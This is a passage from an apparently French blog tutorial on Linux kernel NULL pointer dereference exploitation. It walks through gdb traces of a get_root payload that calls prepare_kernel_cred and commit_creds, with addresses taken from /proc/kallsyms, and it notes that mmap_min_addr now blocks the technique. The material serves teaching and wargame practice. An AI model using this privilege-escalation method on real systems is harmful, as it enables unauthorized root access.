   0xffffffffa0000118:	jmp    0xffffffffa0000121
   0xffffffffa000011a:	mov    rax,0xfffffffffffffff2
   0xffffffffa0000121:	pop    rbx
   0xffffffffa0000122:	pop    rbp
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 2, 0xffffffffa000010b in ?? ()
gdb$ x/gx $rax
0x0:	0x000000000040051d
gdb$ x/20i 0x000000000040051d
   0x40051d:	push   rbp
   0x40051e:	mov    rbp,rsp
   0x400521:	push   rbx
   0x400522:	sub    rsp,0x8
   0x400526:	mov    rax,QWORD PTR [rip+0x2af603]        # 0x6afb30
   0x40052d:	test   rax,rax
   0x400530:	je     0x400558
   0x400532:	mov    rax,QWORD PTR [rip+0x2af5ff]        # 0x6afb38
   0x400539:	test   rax,rax
   0x40053c:	je     0x400558
   0x40053e:	mov    rbx,QWORD PTR [rip+0x2af5eb]        # 0x6afb30
   0x400545:	mov    rax,QWORD PTR [rip+0x2af5ec]        # 0x6afb38
   0x40054c:	mov    edi,0x0
   0x400551:	call   rax
   0x400553:	mov    rdi,rax
   0x400556:	call   rbx
   0x400558:	add    rsp,0x8
   0x40055c:	pop    rbx
   0x40055d:	pop    rbp
   0x40055e:	ret

On voit alors cette fois qu'à l'adresse 0x0000000000000000 se trouve un pointeur vers l'espace mémoire utilisateur 0x40051d. Et si l'on regarde le code à cet emplacement on reconnaît le code de notre fonction get_root. Si l'on parcourt le programme pas à pas, on peut voir que le call rax correspond à l'appel de la fonction prepare_kernel_cred et le call rbx à l'appel de la fonction commit_creds.

gdb$ 
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFF81053E81  RBX: 0xFFFFFFFF81053C6E  RBP: 0xFFFF88000685FEC8  RSP: 0xFFFF88000685FEB8  o d I t S z a P c 
  RDI: 0x0000000000000000  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0x0000000000400551
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400551:	call   rax
   0x400553:	mov    rdi,rax
   0x400556:	call   rbx
   0x400558:	add    rsp,0x8
   0x40055c:	pop    rbx
   0x40055d:	pop    rbp
   0x40055e:	ret    
   0x40055f:	push   rbp
-----------------------------------------------------------------------------------------------------------------------------
0x0000000000400551 in ?? ()
gdb$ x/3i 0xFFFFFFFF81053E81 (fonction prepare_kernel_cred dont on a récuperé l'adresse via le /proc/kallsyms dans notre exploit)
   0xffffffff81053e81:	push   rbp
   0xffffffff81053e82:	mov    rbp,rdi
   0xffffffff81053e85:	mov    esi,0xd0
gdb$ x/3i 0xFFFFFFFF81053C6E (fonction commit_creds dont on a récuperé l'adresse via le /proc/kallsyms dans notre exploit)
   0xffffffff81053c6e:	push   r12
   0xffffffff81053c70:	mov    r12,QWORD PTR gs:0xb980
   0xffffffff81053c79:	push   rbp

Voilà pour une première approche de l'exploitation kernel. Il s'agit ici bien entendu du cas le plus simple d'exploitation, qui n'est plus possible depuis l'ajout de la variable mmap_min_addr dans les kernels > 2.6.23 qui empêche un utilisateur de mmaper la NULL page. Les NULL Pointer Dereference sont donc depuis restreintes sur Linux à des Dénis de Service, mais le même type de raisonnement s'applique toujours quand on peut réécrire (totalement ou partiellement) un pointeur du kernel!

En espérant que cela vous a plu. J'ai essayé de détailler au maximum mes actions pour que cet article soit accessible au plus grand nombre. Si certains points sont inexacts ou nécessitent des précisions, n'hésitez pas à laisser un commentaire et je corrigerai au plus vite.

Je tiens à remercier acez, awe, djo, frizn et simo qui m'ont beaucoup apporté par leur aide dans ce domaine.

Si vous souhaitez approfondir vos connaissances je vous invite à consulter ces différents articles :

Et si vous souhaitez vous entraîner à l'exploitation kernel, rien de plus simple, il suffit de s'inscrire sur w3challs Catégorie : Wargame/Kernel Panic